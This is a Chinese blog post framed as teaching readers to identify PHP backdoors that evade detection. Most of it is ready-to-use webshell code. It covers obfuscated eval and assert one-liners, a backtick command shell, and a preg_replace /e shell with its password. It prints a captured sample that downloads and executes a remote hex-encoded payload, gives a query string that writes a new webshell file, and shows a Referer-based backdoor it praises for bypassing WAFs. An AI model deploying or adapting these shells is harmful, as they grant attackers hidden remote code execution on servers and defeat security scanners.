教你识别简单的免查杀PHP后门
一个最常见的一句话后门可能写作这样
<?php @eval($_post['cmd']);?>
或这样
<?php @assert($_post['cmd']);?>
tudouya 同学在freebuf上给出[一种构造技巧]利用
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _p $__.=("/"^"`"); // _po $__.=("|"^"/"); // _pos $__.=("{"^"/"); // _post ${$__}[!$_](${$__}[$_]); // $_post[0]($_post[1]); ?>
构造生成,当然,嫌太直观可以写作这样
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了
我们再来看看号称史上最简单免查杀php后门
直接上代码:
<?php $c=urldecode($_get['c']);if($c){`$c`;}//完整 !$_get['c']||`{$_get['c']}`;//精简 /******************************************************* * 原理:php中``符号包含会当作系统命令执行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下载config.txt查看内容了! * 可以试试更变态的命令,不要干坏事哦! *******************************************************/
其实现原理就是php会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以*变态地扩展了!
再来看同样很简单的一段代码
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_cbfg[cntr]);'),"saft"); ?>
密码page
近期捕获一个基于php实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的webshell吧。
webshell代码如下:
<?php error_reporting(0); session_start(); header("content-type:text/html;charset=utf-8");if(empty($_session['api'])) $_session['api']=substr(file_get_contents( sprintf('%s?%s',pack("h*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_session['api']),null); ?>
关键看下面这句代码,
sprintf('%s?%s',pack("h*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这里执行之后其实是一张图片,解密出来的图片地址如下:
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("h*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
无特征隐藏php一句话:
<?php session_start(); $_post [ 'code' ] && $_session [ 'thecode' ] = trim( $_post [ 'code' ]); $_session [ 'thecode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_session[\'thecode\']))' , 'a' ); ?>
将$_post['code']的内容赋值给$_session['thecode'],然后执行$_session['thecode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的php后门:
<?php $_get [a]( $_get [b]);?>
仅用get函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28yy5waha%29,w%29,base64_decode%28pd9wahagqgv2ywwojf9qt1nuw2ndktsgpz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行php后门:
此方法用两个文件实现,文件1
<?php //1.php header( 'content-type:text/html;charset=utf-8' ); parse_str ( $_server [ 'http_referer' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>
文件2
<?php //2.php header( 'content-type:text/html;charset=utf-8' ); //要执行的代码 $code = <<<code phpinfo(); code; //进行base64编码 $code = base64_encode ( $code ); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后门url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( curlopt_url => $url , curlopt_header => false, curlopt_returntransfer => true, curlopt_referer => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
通过http请求中的http_referer来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
我们以一个学习的心态来对待这些php后门程序,很多php后门代码让我们看到程序员们是多么的用心良苦。
上一篇: mongodb数据库基础知识之连表查询
下一篇: php基础教程